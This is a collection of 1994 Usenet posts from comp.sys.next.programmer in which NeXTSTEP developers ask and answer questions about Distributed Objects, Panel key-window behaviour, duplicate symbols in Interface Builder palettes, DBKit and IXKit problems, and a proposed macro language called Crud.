From: Sean.Hill@iphysiol.unil.ch (Sean L. Hill) Newsgroups: comp.sys.next.programmer Subject: [IDEA] Making Backspace a preferences module Date: 18 Feb 1994 19:37:04 GMT Organization: Institut de Physiologie, Universite de Lausanne Sender: -Not-Authenticated-[8561] Message-ID: <2k35d0$c91@cisun2000.unil.ch> Xdisclaimer: No attempt was made to authenticate the sender's name. A while ago I thought about making Backspace into a preferences module. One of the main problems (I think) is that each preferences module is loaded when you bring the Preferences app up and select a particular module. Is seems that it would be tricky to have a screen saver work from there. [I never tried it out, but I believe that it's true.] What it seems like the Preferences app is for is setting individual preferences, obviously. So maybe one would write a preferences panel that lets you choose from various Backspace modules and alter the parameters then writes the selection into a dwrite or settings file. The Backspace app would have to be turned into a faceless daemon (Scary)... The preferences module would make a Workspace dwrite to launch it on login if the screensaver is turned on. Then the preferences module would have made the selection for the parameters and written the defaults database for the daemon to read. So to clean up: 1. Cut out the parameters and module selection from Backspace. Make a preferences panel which writes the current selection to the defaults database. Nearly the exact same settins panel can be used for the preferences panel. This code would go in Library/Preferences 2. Make a daemon out of the Backspace app. This would still be installed in the Apps directory, but would be launched by a dwrite for Workspace. It determines what it should display by the dwrites written by the prefernces module. For changing the settings without logging in/out the preferences module could send a distributed object message to the daemon to lookup it's settings for an update. Make sense? I think it's not such a bad idea for preferences to be written this way, since you could start having these massive preferences modules loaded up and choking everything especially if they're unused. This way you simply state your preferences! I don't think it would be too difficult at all to convert Backspace and I think many people would applaud that person. Cheers- Sean Sean L. Hill Institut de Physiologie / Universite de Lausanne Rue du Bugnon, 7 CH-1005 Lausanne SWITZERLAND E-mail: Sean.Hill@iphysiol.unil.ch NEXTMAIL: hill@iisnext1.unil.ch
From: paul@pdh.com (Paul Clarke) Newsgroups: comp.sys.next.programmer Subject: Having a problem with PSfindwindow Date: 18 Feb 1994 13:51:56 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402181948.AA03681@snowbird.pdh.com> Inside a draggedImage:endedAt:deposited: dragging protocol method, I am trying to find out which window, if any, the mouse was released in. The following code sometimes works and sometimes does not, with no apparent reason why its behavior changes. Over the course of the last several months of development, it seemed to work for me in the past. (We are using 3.0.) But now win is nil regardless of which window screenPoint is in (screenPoint is the endedAt: argument of the method). PSfindwindow is returning found = TRUE and a windowNum that does not correspond to the windowNum of any window in NXApp's windowList (which is how NXApp's findWindow: method apparently works). Can anyone shed light on PSfindwindow ? Are the windowNums of PSfindwindow and findWindow: the same? Is there some other way to determine which window a given screen point is in? PSfindwindow (screenPoint->x, screenPoint->y, NX_ABOVE, 0, &x, &y, &windowNum, &found); if (found) win = [NXApp findWindow:windowNum]; Thank you Paul Clarke paul_clarke@pdh.com
From: rasmussn@jupiter.eecs.umich.edu (Craig E Rasmussen) Newsgroups: comp.sys.next.programmer Subject: Re: Async Distributed Objects Date: 18 Feb 1994 19:59:39 GMT Organization: University of Michigan EECS Dept. Message-ID: <2k36nb$a1e@zip.eecs.umich.edu> References: <2k0n76$a64@transfer.stratus.com> In comp.sys.next.programmer article <2k0n76$a64@transfer.stratus.com> you wrote: > I have a situation where I have 2 processes cooperating using DO. I am > using asynchronous calls from the client to the server. The server goes > off and does some potentially long code, then calls the client back > through the proxy that got sent to it in the initial call. It seems that > if a second DO call comes in to the server, the proxy for the first one > is lost. > > Client code Server code > > [connection methodA:arg replyTo:self]; > start doing methodA > [connection methodB:arg replyTo:self]; > > return to main event loop > [sender sendReplyA]; > start doing methodB > [sender sendReplyB]; > If you suspect that proxies are lost, I gather that you are sending the two messages to the connection from separate objects in the client (thus self would represent two different objects which would be vended to the server and lead to two remote proxies at the server). I actually suspect you mean that a message is lost rather than a proxy. In any case, I need more information. What variant of the run method are you using for the connections at the server and the client? Are you using protocols specifying methodA and methodB as oneway void (not surprisingly, I have noted some very strange behavior when the method declaration and the protocols are not consistent with each other). You need to specify oneway void in a protocol to ensure that two way messages are not sent anyway, to check whether the server responds to methodA and methodB. You can find out about remote and local proxies for all connections at the server and the client by the first getting the list of connections, [NXConnection connections:(List *)listOfConnections]; from the NXConnection class and then sending each connection in the list a message to find out about the proxies managed by the 3 connections involved (two at the server, where one in the root connection and one at the client). for (i = 0; i < [listOfConnections count]; i++) { [[listOfConnections objectAt:i] localObjects:(List *)listOfRemoteObjects]; [[listOfConnections objectAt:i] remoteObjects:(List *)listOfLocalObjects]; } This way you can track the existence of proxies at the client and server. However, again, my guess is that proxies are not getting lost. One final word of warning, it is absolutely imperative that exception handling is used in sending any message to a distributed object. For instance, something like the following should be used for all messages: NXHandler exception; exception.code = 0; NX_DURING { [connection methodB:arg replyTo:self]; } NX_HANDLER { exception = NXLocalHandler; // Make note of the error... } NX_ENDHANDLER if (exception.code) { NXReportError(&exception); printf("Failed sending methodB:replyTo: to connection"); } We have remote objects scattered from Europe to California and have no problems doing what you require. If you want to send me more detailed code, I can look at this problem more closely. Craig Rasmussen Turn of the Century Software NeXTStep Consultants (313) 944-9101 rasmussn@jupiter.eecs.umich.edu
Newsgroups: comp.sys.next.programmer From: sfitzp@cs.qub.ac.uk (Stephen Fitzpatrick) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb18.192721.19565@ousrvr.oulu.fi> Sender: news@ousrvr.oulu.fi Organization: University of Oulu Date: Fri, 18 Feb 1994 19:27:21 GMT mzeller@gwdu03.gwdg.de (Meinrad Zeller) wrote in comp.sys.next.programmer >You are absolutely right on this issue : every language has >operator overloading in this sense. > >: Objective-C has operator overloading in the sense that method names >: can be the same yet behave differently. That's not enough. Smalltalk > >I think this is not called operator overloading, but polymorphism. >(Correct me if I'm wrong) (Just jumped into this thread, hope I'm not repeating.) About operators/overloading/polymorhpism: Polymorhpism is when an abstract data type (or class or module or whatever your favourite langauge calls it), such as a list, uses the same code to manipulaute objects of different types. e.g., inserting an integer at the head of an integer list is performed the same way as inserting a real at the head of a real list. Overloading is when the same name is used to invoke two different code sequences. e.g. addition for integers and addition for reals. Normally, (though not necessarily) the code sequences belong to different data types and the various operations that could be invoked by a given name are all cloely related. Operators are just special notations for functions/subroutines/methods. -- Stephen Fitzpatrick | sfitzp@cs.qub.ac.uk O-O Department of Computer Science | (NeXT mail ok) | The Queen's University of Belfast|"Keep passing the OpenWindows" v
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: BUG with Panel: canBecomeKeyWindow Message-ID: <1994Feb18.165748.971@afs.com> Sender: greg@afs.com Date: Fri, 18 Feb 1994 16:57:48 GMT To force a Panel to never become the key window (not even when you click its title bar), you must include this override in your Panel subclass: - (BOOL)canBecomeKeyWindow { return NO; } Here's the bug: If a later message from elsewhere in your program tells the Panel to setBecomeKeyOnlyIfNeeded:YES, it starts ignoring the return value from canBecomeKeyWindow and allows the window to become key anyway. You might argue that setBecomeKeyOnlyIfNeeded:YES is an intentional change in "when can the Panel become key?" state, but I don't buy it. A canBecomeKeyWindow override is only implemented when you intend an absolute restriction, and it should be irrevocable. Workaround: When you override canBecomeKeyWindow, also override doesBecomeKeyOnlyIfNeeded (return NO) and setBecomeKeyOnlyIfNeeded: (ignore the argument). This will fully protect your intent to keep the Panel from becoming key under any circumstances. This is a confirmed bug in NS 3.2. I have not tried any other version. It's not a major inconvenience, but it tripped me up for a while. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
From: sean@alpine.com (Sean Luke) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next.hardware Subject: Crud: A New Idea for NeXTSTEP Date: 17 Feb 1994 16:28:05 -0800 Organization: Disorganization Distribution: world Message-ID: <2k122l$836@magnusson.alpine.com> (Apology in advance:) I may have posted this a few times. If so,I'm sorry. I don't know if I have or not, because until yesterday my newsreader was, um, having fun at my expense. While expanding a sound editor I write, I came across the sudden desire to allow users to batch up the wide variety of odd little things the editor can do into one coherent integrated thing, possibly adding in the capabilities of other programs, to complete a large and complex task. Unfortunately, I had no access to an easily-embeddable macro language object, and even if I did (say, I wrote my own), I would have no easy way of controlling *other* programs with this user-level language. It was this need that is driving me to develop Crud. Crud is proof-of-concept of not only the desperate need for a system-wide, made-for-NeXTSTEP macro language, but of the amazing things NeXT's highly consistent development system can offer users of just such a language, especially when compared to similar attempts like REXX, tcl, Perl, AppleScript, and the great Evil (Visual Basic). About Crud Crud is a specification of two things: a very simple, very small programming language, and a protocol suite that enables participating applications to connect to one or more Crud interpreters and libraries. Because NeXTSTEP is so consistent, this spec is really all that is needed to establish a living Crud community. As long as Crud-compliant interpreters are around, amazing things can happen. In fact, as long as the protocol stays the same, the marcro language can change and still keep applications "compliant". The prototype language is a hybrid of (get this) Lisp and Hypertalk, borrowing useful features of each. It's quite tiny (about 8 keywords), with a very easy-to-learn, easy-to-parse syntax. I've done the grammar and am working on finishing an interpreter object (though it's a tough job--anyone want to help?) which developers could hook into applications to make it easy for users to extend the apps' power. The protocol works something like this: An application instantiates an interpreter object. It then registers various Obj-C methods with the interpreter, so that if Crud programs reference some function name, the app's Obj-C method is called with appropriate arguments. The app then, through a Text object or whatnot, allows users to submit Crud programs and run them on the interpreter by calling some function (Crud is event-driven; it has no main loop). Crud Obj-C method libraries could be distributed on the net, even dynamically loaded by participating apps, to greatly increase the power of an application. One very important library (eventually) would allow one crud interpreter to contact other interpreters in participating apps to provide IAC on a grand scale. Another library (unwritten as yet, of course) could let Crud programs run and control non-compliant apps through NeXT events, much like Simon Says does it. Why not tcl or REXX? I think that NeXTSTEP needs at _least_ a new way of integrating a macro language, if not a new language altogether. tcl seems to me to be too steeped in X, and REXX too command-line based. We need something that fits beautifully with the GUI and the object system. Crud (or a language like it) is designed with NeXT's event system, object design, and main language in mind. This is open to discussion, of course! Perhaps we should go with a language more "accepted" by other communities for cross-environment compatibility. But in the mean time, while other projects are brewing (the WavesWorld tcl is cool) I'm here to ask if anyone would like to work on the Crud project. What's left to do? 1) Crud parses functions and globals into dictionaries, then interprets them as they are called. The parser is done (works great), but the interpreter is still in the design-and-layout stage. 2) Crud's standard function library, a collection of Obj-C methods that provide mundane functions like + or = or print, is mostly finished but for an earlier, outdated Crud protocol. The function library needs to be updated, finished, polished, and expanded. And debated. Remember that this library is symmetrical with an application's on functions; it can be used or substituted with something better. 3) Parts or Crud's spec are still shabby (in particular, it has no arrays). 4) Crud communicates with methods through a [target selector:argument] call, where the argument is a custom object that holds strings (basically a souped-up char**). This is because perform: requires ids, Char** is not really an option! :-( But this has yet more disadvantages: perform: requires a specific argument set, which makes it difficult to submit common method forms like setTo:(int)this or takeFloatValueFrom:sender, which are vital to making Crud easily integrated into applications. The obvious solution: make a category for Object that allows more sophsiticated message-passing than perform: and forward:. Current state: not even started. So there's things to do! I'd be much obliged to anyone who'd like to contribute to the project. Likewise, I'd like to open the table for dialog. What would you like to see in a system like this? Is it worthwhile? How could it benefit this community? I'll be honest here--I see Crud, or a language like it, as putting dramatically more power in the hands of NS users; potentially enough to make the computer community turn a few heads. Thanks for your time. If I get enough interest, I'll set up a small email group for discussion, perhaps. Please reply to the address below... Sean Luke -- +-------------------------------------------------------------+ | Sean Luke milk:-cows. | | sean@digaudio.byu.edu (if (cows) 'milk) | | if only I spoke for Alpine... [milk set:[cows val]]; |
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2k3arc$2f8@steffi.demon.co.uk> Control: cancel <2k3arc$2f8@steffi.demon.co.uk> Date: 18 Feb 1994 21:17:17 -0000 Organization: me organized? That's a joke! Message-ID: <2k3b8t$2fi@steffi.demon.co.uk> <2k3arc$2f8@steffi.demon.co.uk> was cancelled from within trn. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Help with palettes linked against static libraries Date: 18 Feb 1994 21:38:23 -0000 Organization: me organized? That's a joke! Message-ID: <2k3cgf$2p0@steffi.demon.co.uk> I share several libraries amongst a number of palettes and I need to be able to resolve the rld duplicate definitions problem that occurs when you have two palettes and each has the same symbols linked from the same library in them. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: ernst@cs.tu-berlin.de (Ernst Kloecker) Newsgroups: comp.sys.next.programmer Subject: Re: RPC Date: 18 Feb 1994 22:11:04 GMT Organization: Technical University of Berlin, Germany Message-ID: <2k3edo$9ae@news.cs.tu-berlin.de> References: <2k2go6$kb8@email.tuwien.ac.at> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit michael@cogito.iaee.tuwien.ac.at (Suessner Michael) writes: >Hallo, >I am developing an application, which will use RPC on a AIXR6000 from my >NeXT. I have no idea, how I can do this. >I don't think, that I can use the Speaker/Listener classes to handle this >problem. Is there anybody who has an example code, how I can solve this >problem? Try : man rpc -- ----------------------------------------------------------------------------- Ernst Kloecker phone: ++49-30-6181635 e-mail: ernst@cs.tu-berlin.de -----------------------------------------------------------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs Subject: Re: BUG with Panel: canBecomeKeyWindow Date: 18 Feb 1994 22:36:57 -0000 Organization: me organized? That's a joke! Message-ID: <2k3fu9$3c5@steffi.demon.co.uk> References: <1994Feb18.165748.971@afs.com> Greg_Anderson@afs.com wrote in comp.sys.next.programmer,comp.sys.next.bugs >To force a Panel to never become the key window (not even when you click >its title bar), you must include this override in your Panel subclass: > >- (BOOL)canBecomeKeyWindow >{ >return NO; >} > Do that without subclassing Mr Griffiths :-) -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Help with palettes linked against (Solved but why?) Date: 18 Feb 1994 22:49:30 -0000 Organization: me organized? That's a joke! Message-ID: <2k3glq$3dr@steffi.demon.co.uk> References: <2k3cgf$2p0@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) wrote in comp.sys.next.programmer >I share several libraries amongst a number of palettes and I need to >be able to resolve the rld duplicate definitions problem that occurs >when you have two palettes and each has the same symbols linked from >the same library in them. >-- > "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) > "No, what?" > "Nothing" (Charade, 1963) > (ASCII for text only messages) If I run strip -u on both the palettes both can coxist independantly in IB. Why is this so? Could somebody tell me why when my palettes looked like this. 00000000 A .objc_category_name_List_Perform 00000000 A .objc_category_name_Matrix_FindCells 00000000 A .objc_category_name_NXBundle_Management 00000000 A .objc_category_name_NXImage_Archiving 00000000 A .objc_category_name_NXImage_WindowGrabber 00000000 A .objc_category_name_Object_MethodList 00000000 A .objc_category_name_Object_TimeBomb 00000000 A .objc_category_name_Storage_PrintElements 00000000 A .objc_category_name_Text_Console 00000000 A .objc_category_name_TiffMenus_IBTiffMenusCategory U .objc_class_name_Font U .objc_class_name_IBInspector U .objc_class_name_IBPalette U .objc_class_name_List U .objc_class_name_Matrix U .objc_class_name_Menu U .objc_class_name_MenuCell U .objc_class_name_NXBundle U .objc_class_name_NXImage U .objc_class_name_Object U .objc_class_name_OpenPanel U .objc_class_name_Storage U .objc_class_name_Text U .objc_class_name_TextField 00000000 A .objc_class_name_TiffMenus 00000000 A .objc_class_name_TiffMenusInspector 00000000 A .objc_class_name_TiffMenusPalette U .objc_class_name_Window U _IBObjectPboardType U _NXApp U _NXCloseMemory U _NXGetMemoryBuffer U _NXOpenMemory U _NXPrintf U _NXReadType U _NXRectFillListWithGrays U _NXRunAlertPanel U _NXSaveToFile U _NXSeek U _NXUniqueString U _NXWriteType U _PScomposite U __NXAddHandler U __NXRemoveHandler U __iob U __setjmp U _closedir U _fprintf U _getenv U _gettimeofday 0000213c D _jul_transition 00001f3a T _julcd 00001f52 T _julcdd 00001dbc T _julcdj 00001d78 T _juldn 00001d90 T _juldnd 00001d24 T _juldnj U _localtime U _memset U _mkdir U _objc_msgSend U _objc_msgSendSuper U _opendir U _readdir U _sel_getName U _sprintf U _sscanf U _stat U _strchr U _strcmp U _strcpy U _strrchr 00000000 T _substitute U _vsprintf Things didn't work but now when those symbols have been removed so that it looks like this. U .objc_class_name_Font U .objc_class_name_IBInspector U .objc_class_name_IBPalette U .objc_class_name_List U .objc_class_name_Matrix U .objc_class_name_Menu U .objc_class_name_MenuCell U .objc_class_name_NXBundle U .objc_class_name_NXImage U .objc_class_name_Object U .objc_class_name_OpenPanel U .objc_class_name_Storage U .objc_class_name_Text U .objc_class_name_TextField U .objc_class_name_Window U _IBObjectPboardType U _NXApp U _NXCloseMemory U _NXGetMemoryBuffer U _NXOpenMemory U _NXPrintf U _NXReadType U _NXRectFillListWithGrays U _NXRunAlertPanel U _NXSaveToFile U _NXSeek U _NXUniqueString U _NXWriteType U _PScomposite U __NXAddHandler U __NXRemoveHandler U __iob U __setjmp U _closedir U _fprintf U _getenv U _gettimeofday U _localtime U _memset U _mkdir U _objc_msgSend U _objc_msgSendSuper U _opendir U _readdir U _sel_getName U _sprintf U _sscanf U _stat U _strchr U _strcmp U _strcpy U _strrchr U _vsprintf and the other palette originally looked like 00000000 A .objc_category_name_List_Perform 00000000 A .objc_category_name_Matrix_FindCells 00000000 A .objc_category_name_NXBundle_Management 00000000 A .objc_category_name_NXImage_Archiving 00000000 A .objc_category_name_NXImage_WindowGrabber 00000000 A .objc_category_name_Object_MethodList 00000000 A .objc_category_name_Object_TimeBomb 00000000 A .objc_category_name_Storage_PrintElements 00000000 A .objc_category_name_Text_Console U .objc_class_name_Font U .objc_class_name_IBPalette U .objc_class_name_List U .objc_class_name_Matrix U .objc_class_name_NXBundle U .objc_class_name_NXImage 00000000 A .objc_class_name_NibInfoPalette 00000000 A .objc_class_name_NibInfoReader U .objc_class_name_Object U .objc_class_name_Storage U .objc_class_name_Text U .objc_class_name_TextField U _IBObjectPboardType U _NXApp U _NXCloseMemory U _NXGetMemoryBuffer U _NXLogError U _NXOpenMemory U _NXPrintf U _NXSaveToFile U _NXSeek U _NXUniqueString U _PScomposite U __NXAddHandler U __NXRemoveHandler U __iob U __setjmp U _closedir U _fprintf U _free U _getenv U _gettimeofday 000017c4 D _jul_transition 0000160a T _julcd 00001622 T _julcdd 0000148c T _julcdj 00001448 T _juldn 00001460 T _juldnd 000013f4 T _juldnj U _localtime U _memset U _objc_msgSend U _opendir U _readdir U _sel_getName U _sprintf U _sscanf U _strcat U _strcmp U _strrchr U _vsprintf and now looks like U .objc_class_name_Font U .objc_class_name_IBPalette U .objc_class_name_List U .objc_class_name_Matrix U .objc_class_name_NXBundle U .objc_class_name_NXImage U .objc_class_name_Object U .objc_class_name_Storage U .objc_class_name_Text U .objc_class_name_TextField U _IBObjectPboardType U _NXApp U _NXCloseMemory U _NXGetMemoryBuffer U _NXLogError U _NXOpenMemory U _NXPrintf U _NXSaveToFile U _NXSeek U _NXUniqueString U _PScomposite U __NXAddHandler U __NXRemoveHandler U __iob U __setjmp U _closedir U _fprintf U _free U _getenv U _gettimeofday U _localtime U _memset U _objc_msgSend U _opendir U _readdir U _sel_getName U _sprintf U _sscanf U _strcat U _strcmp U _strrchr U _vsprintf Things now work, even though some symbols were removed. Could somebody put together something educational about symbols/rld etc for us APES members. Where can I learn more about the issues involved here? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Problem with DBValue: help! Message-ID: <1994Feb18.214645.1856@planon.qc.ca> Keywords: DBValue, DBKit Sender: laurent@planon.qc.ca Date: Fri, 18 Feb 1994 21:46:45 GMT Hi netter! I'm trying to modify the value of a record with the help (!) of the DBKit and I'm experiencing a problem that I can't resolve! I have a table with a column of type double. I want to put some value in the column, but it fails. If I use InterfaceBuilder and make a connection from the DBModule property to a textfield, the double value appears and can be modified. The modification is successfully saved in the database. However, this double value has to be translated in a more comprehensive form. So, I have to get the value from the recordList object of the rootFetchGroup object, and to set the value. The code I use is as follow: id contentEntity, contentDatabase, recordList; id rootFetchGroup, result = nil; double doubleLength; char stringLength[48]; List *lengthProperty = [[List alloc] init]; DBValue *lengthValue = [[DBValue alloc] init]; unsigned int editedRecord; /*The contentModule is a global object which is connected to the database thru the adaptor. */ rootFetchGroup = [contentModule rootFetchGroup]; editedRecord = [rootFetchGroup currentRecord]; recordList = [rootFetchGroup recordList]; contentDatabase = [contentModule database]; contentEntity = [contentDatabase entityNamed:"contenu"]; lengthProperty = [contentEntity propertyNamed:"duree"]; sprintf(stringLength, "%s", [lengthTextField stringValue]); /* The class Duree here is a C++ class. It translates a specially formatted string to a double, using operators overload. */ doubleLength = (double)Duree(stringLength); /* At this point, the variable doubleLength contains a valid value */ [lengthValue setDoubleValue:doubleLength]; result = [recordList setValue:lengthValue forProperty:lengthProperty at:editedRecord]; /* result here contains nil, so, something wrong happened! */ [recordList getValue:lengthValue forProperty:lengthProperty at:editedRecord]; /* Here, the doubleValue of the object lenghtValue contains 0.0 */ Anything wrong with this code? The database is Informix, and the adaptor has been created by an Informix employee, and appears to work well. I'm using NS 3.2 on a NeXTStation Turbo, if it can be of any help. Thanks in advance for any help, pointer, info! Laurent. -- ****************************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer,comp.sys.next.software Subject: Loop-back service for Webster? Date: 19 Feb 1994 00:07:40 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2k3l8c$pe@agate.berkeley.edu> In all apps, you can highlight a word and look up the definition by Command-=, EXCEPT in Webster app itself. Copy/pasting a word is painful (well, relatively speaking) to do in Webster, especially because I don't have to do this if I am in other apps. I know that this is a feature of services, so... Is it possible to create an intermediary or relay service that will take Command-= from Webster, and pass it back on to Webster as if the request comes from other application? Can this be done via TickleServices? -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Re: Help with palettes linked against (Solved but why?) Date: 19 Feb 1994 01:10:11 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2k3otj$fr6@zip.eecs.umich.edu> References: <2k3glq$3dr@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > I share several libraries amongst a number of palettes and I need to > be able to resolve the rld duplicate definitions problem that occurs > when you have two palettes and each has the same symbols linked from > the same library in them. It is best not to link the library into the palette. Supply your library to the user and let the user be responsible for linking into his application any libraries that your palette depends upon. That way, other palettes or bundles that use the library can be loaded later without fear of multiple symbol definitions. The user can also use your library independently of your palette! Does the DatabaseKit palette link the DBKit library just because it depends upon it? No. Hope this helps! The man pages to the loader are somewhat helpful for further reading. --------------------------------------------------------------- Roland Telfeyan Internet: roland@gomidas.mi.org Gomidas Research UUCP: uunet!gomidas!roland 1697 Broadway, Suite 104 Phone: +1 313 761 9590 Ann Arbor, MI 48105-1865 Fax: +1 313 761 9890 ---------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Re: Problem with DBValue: help! Message-ID: <1994Feb18.220531.2176@planon.qc.ca> Sender: laurent@planon.qc.ca References: <1994Feb18.214645.1856@planon.qc.ca> Date: Fri, 18 Feb 1994 22:05:31 GMT In article <1994Feb18.214645.1856@planon.qc.ca> laurent@planon.qc.ca (Laurent Daudelin) writes: > The code I use is as follow: > > id contentEntity, contentDatabase, recordList; > id rootFetchGroup, result = nil; > double doubleLength; > char stringLength[48]; > List *lengthProperty = [[List alloc] init]; > DBValue *lengthValue = [[DBValue alloc] init]; > unsigned int editedRecord; > Just to add to the above, I think I make a mistake by declaring lengthProperty as a List. I have change the declaration to: id lengthProperty; Unfortunately, I still can't set the value using the DBValue! Any help would be still appreciated! Laurent. -- ****************************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
From: slxn8@cc.usu.edu Newsgroups: comp.sys.next.programmer Subject: Can't rebuild and index with IXKit...help Message-ID: <1994Feb18.085221.11123@cc.usu.edu> Date: 18 Feb 94 08:52:20 MDT Organization: Utah State University I have tried rebuilding an index in my IXKit's database with the following snippit of code. It destroys the index just fine, but doesn't seem to try and create the index. - rebuildFredIndex { [recordManager removeAttributeNamed:FRED]; [recordManager addAttributeNamed:FRED forSelector:@selector(fred)]; [recordManager setComparator:&IXCompareMonocaseStrings andContext:NULL forAttributeNamed:FRED]; return self; } The documentation states: "addAttributeNamed:forSelector: - addAttributeNamed:(const char *)aName forSelector:(SEL)aSelector Creates an attribute for records that respond to aSelector, associates it with name aName, and builds an index for that attribute. Note that records already passivated by the IXRecordManager that respond to aSelector are not added to the new index automatically. This may change in a future release. If an attribute already exists with name aName, returns nil; otherwise returns non-nil." What does it mean "already passivated"? Perhaps this is my problem...if so, how can I override this? Many thanks, ====================================================================== John Zollinger (NextMail Preferred) Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com [Moore BCS - Logan, Utah] "Life is too important to take seriously." ======================================================================
From: slxn8@cc.usu.edu Newsgroups: comp.sys.next.programmer Subject: Re: IXKit in 3.2 - how is it? Message-ID: <1994Feb18.084016.11122@cc.usu.edu> Date: 18 Feb 94 08:40:16 MDT References: <1994Feb17.003748.3252@xexos.com> Organization: Utah State University In article <1994Feb17.003748.3252@xexos.com>, mark@xexos.com (Mark Chamberlain) writes: > We're looking to undertake a fairly reasonably sized database-ish project soon, > and are looking (again) at using IXKit for some of it. > > Is it stable yet? Do the horror stories still hold true? > I'd appreciate experiences, good and bad, under 3.2 I have a very simple database (2 indexed strings), and the IXKit is very unreliable about indexing the records. I added 140,000 records to the database and then did a search on each one to see if I could find it...It did not index 4500 records. The records were there, they just weren't indexed. Sometimes it would index just one of the strings in the database, sometimes it would do both, sometimes none. This has caused me to have to load my records into my database at least 4 times (checking to see if it already exists, and if not adding the record). But now my database is HUGE because I have all of these unindexed records or partially indexed records in there that I can't access. I am going to have to write a little program to clean the thing out. Stupid. In 3.1 I did not have this problem. My database is 90Mb now (around 600,000 records), and if it can find the record, it finds it very fast. I would really like to know what is going on with the IXKit. I know that StoneDesign has had problems with it in DataPhile. If they get a fix from NeXT, how about a patch for the rest of us that have Mission Critical Apps that depend on the IXKit?! ====================================================================== John Zollinger (NextMail Preferred) Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com [Moore BCS - Logan, Utah] "Life is too important to take seriously." ======================================================================
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Using the DBTableView for non-database apps. Message-ID: <CLGBxH.4A3@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <CLFK8C.1JH@eunet.ch> Date: Sat, 19 Feb 1994 03:20:05 GMT Alexander Lamb writes > we know of course that DBKit2 will be compatible with DBKit1 one really? has there been any public announcement to this effect? I wonder how you could really fix the flaws in DBKit1 and maintain any backward compatibility. It wouldn't be easy. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Subclass conforming to protocol Message-ID: <1994Feb18.224847.1127@afs.com> Sender: Michael_Pizolato@afs.com References: <CL8K48.3I8@friday.com> Date: Fri, 18 Feb 1994 22:48:47 GMT bbum@friday.com writes >Michael Pizolato writes [snip] >>I wrote a method once where the object being passed as a parameter >>was expected to conform to a protocol. In addition to the >>compile-time check: >> >> - foo:(id <bar>)mumble >> >>I put a run-time check in the code: >> >> if ([mumble conformsTo:@protocol(bar)]) >> >>and the compiler warned that "method 'conformsTo' not implemented >>by protocol 'bar'" or something like that. In other words, not >>only was the mumble object expected to implement all the methods >>in bar, but it was also expected to implement _only_ the methods >>in bar, even to the exclusion of methods in the Object class! >> >>In the words of Dave Barry, "I swear I am not making this up." :-( > >There is a justifiable reason for the compiler yelling about the >non-implementation of conformsTo: -- if mumble is a root class, or >descendant of a root class, then the 'bar' protocol may really define >EXACTLY what methods a paticular object responds to. [snip] Please say that this is not true, or that I am misunderstanding it. Surely protocols do not say "if you adopt me, you must implement these _and_only_these_ methods." What if a class adopts more than one protocol (perfectly legit)? I take protocols to mean that if I get an object that conforms to a protocol then I can expect that object to respond to certain methods, but I can ask that object conformsTo: for the whole protocol or respondsTo: for individual methods in the protocol. If I can't say respondsTo: (or name, or copyFromZone:, or perform:with:, or...) because the protocol does not declare it, how can I write anything using protocols? If I cannot even say conformsTo: to check conformance at runtime (which I _must_ do because (id <protocol>) is a compile-time thing) because the protocol does not declare it, then I'm going to move to the mountains and raise herbs for a living ;-). Thanx, Michael -- Michael_Pizolato@afs.com NeXTMail accepted
